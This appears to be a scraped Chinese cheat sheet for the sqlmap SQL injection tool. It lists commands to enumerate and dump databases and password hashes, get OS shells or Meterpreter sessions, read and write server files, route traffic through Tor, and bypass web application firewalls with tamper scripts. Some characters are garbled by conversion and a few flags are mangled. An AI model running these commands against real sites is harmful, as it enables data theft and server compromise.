天天看點

sqlmap的使用手冊0x01. Sqlmap支援的資料庫0x02. 基本使用0x03. Sqlmap參數指令0x04 Sqlmap腳本使用

0x01. Sqlmap支援的資料庫

SQLMap支援的資料庫:
MySQL Oracle PostgreSQL Microsoft SQL Server
Microsoft Access IBM DB2 SQLite Firebird
Sybase SAP MaxDB

0x02. 基本使用

  • sqlmap   -u  ”URL“  --data ”POST資料“   查詢注入點
  • sqlmap   -u  ”URL“  --data ”POST資料“  --dbs  列出資料庫
  • sqlmap   -u  ”URL“  --data ”POST資料“   --current-user   擷取目前使用者名
  • sqlmap   -u  ”URL“  --data ”POST資料“   --current-db   擷取目前資料庫名稱
  • sqlmap   -u  ”URL“  --data ”POST資料“   --passwords   資料庫使用者密碼
  • sqlmap   -u  ”URL“  --data ”POST資料“   --is-dba -v 1  是否是管理者
  • sqlmap   -u  ”URL“  --data ”POST資料“   -D 庫 --tables   查詢表
  • sqlmap   -u  ”URL“  --data ”POST資料“   -D  庫 -T  表  --columns  查詢字段
  • sqlmap   -u  ”URL“  --data ”POST資料“   -D  庫 -T  表 -C  字段,字段 --dump

SQLMap基本指令

  • --passwords#資料庫使用者密碼
  • --is-dba #是否是資料庫管理者
  • --os-shell 寫shell
  • --cookie 當有驗證的時候
  • --file-read 檔案
  • --file-write 寫檔案
  • --flush-session 清除緩存
  • --threads=《number》設定線程數

0x03. Sqlmap參數指令

SQLMap參數指令
--method=<http方法> 指定使用的http方法
--data=<post資料> 送出post資料并對post資料進行測試
--param-del=<分隔符>  指定參數的分隔符
--cookie <cookie鍵值對> 添加cookie http請求頭
--headers <http請求頭字段和字段值> 添加http請求頭,不同的頭使用“(n”分隔
--auth-type和--auth-cred 指定認證方式并指定使用的憑證
--auth-file 指定使用的證書檔案
--keep-alive 使用http長連接配接,該參數與--proxy參數沖突
--null-connection 隻擷取http響應的長度(大小)而不擷取真正的響應體,可以節約布爾型盲注使用的帶寬
--threads=<number> 設定線程數
--o 相當于同時設定以上三個參數
--p<參數清單> 指定要測試的參數,不同的參數使用“,”分隔
--skip=<參數清單> 指定哪些參數不測試,不同參數使用“,”分隔
*-- 指出為靜态網頁的參數位置,如“/id/1*/”
--dbms<資料庫類型> 指定資料庫類型
--prefix<字首>和-suffix<字尾> 指定PAYLOAD的字首和字尾
--tables 擷取資料表
-b/--banner 擷取資料庫版本
--current-user 顯示目前資料庫使用者名
--is-dba 判斷目前使用者是否為管理者使用者
--dbs 列出資料庫系統的所有資料庫
--tables/--exclude-sysdbs/-D 測試資料表
--dump 擷取字段的值
--columns 擷取資料字段
--dump/--start/--stop/--first/--last 測試資料資料字段的值
--proxy、--proxy-cred、-proxy-file和--ignore-proxy 關于代理的參數
--tor、--tor-type、--tor-port和--check-tor 關于tor匿名網絡的參數
--risk 指定風險等級
--level 指定檢測等級
--technique 指定要使用的注入技術
--common-tables和--common-columns 暴力破解表名和列名
--os-cmd=OSCMD 執行系統指令
--os-shell 互動指令執行(寫入shell)
--sql-shell 執行SQL語句
--os-pwn--msf-path 結合Meterpreter

SQLMap參數指令示例

  • sqlmap-u"http://url/news?id=1"--current-user#擷取目前使用者名稱
  • sqlmap-u"http://url/news?id=1"--current-db#擷取目前資料庫名稱
  • sqlmap-u"http://url/news?id=1"-dbs#列資料庫

0x04 Sqlmap腳本使用

sqlmap下的tamper目錄存放繞過WAF腳本

使用方法  --tamper  腳本名稱,腳本名稱

多個tamper腳本之間用空格隔開

apostrophemask.py 用utf8代替引号
equaltolike.py like代替等号
space2dash.py 繞過過濾‘=’ 替換空格字元(”),(’ – ‘)後跟一個破折号注釋,一個随機字元串和一個新行(’ n’)
greatest.py 繞過過濾  >
space2hash.py 空格替換為#号 随機字元串以及換行符
apostrophenulencode.py 繞過過濾雙引号,替換字元和雙引号。
halfversionedmorekeywords.py 當資料庫為mysql時繞過防火牆,每個關鍵字之前添加mysql版本評論
space2mssqlblank.py 空格替換為其它空符号
base64encode.py 用base64編碼替換
modsecurityversioned.py 過濾空格,包含完整的查詢版本注釋
space2mysqlblank.py 空格替換其它空白符号(mysql)
between.py 用between替換大于号(>)
space2mysqldash.py 替換空格字元(' ')(' -')後跟一個破折号注釋一個新行(' n')
space2plus.py 用+替換空格

防禦

繞過彙總

繼續閱讀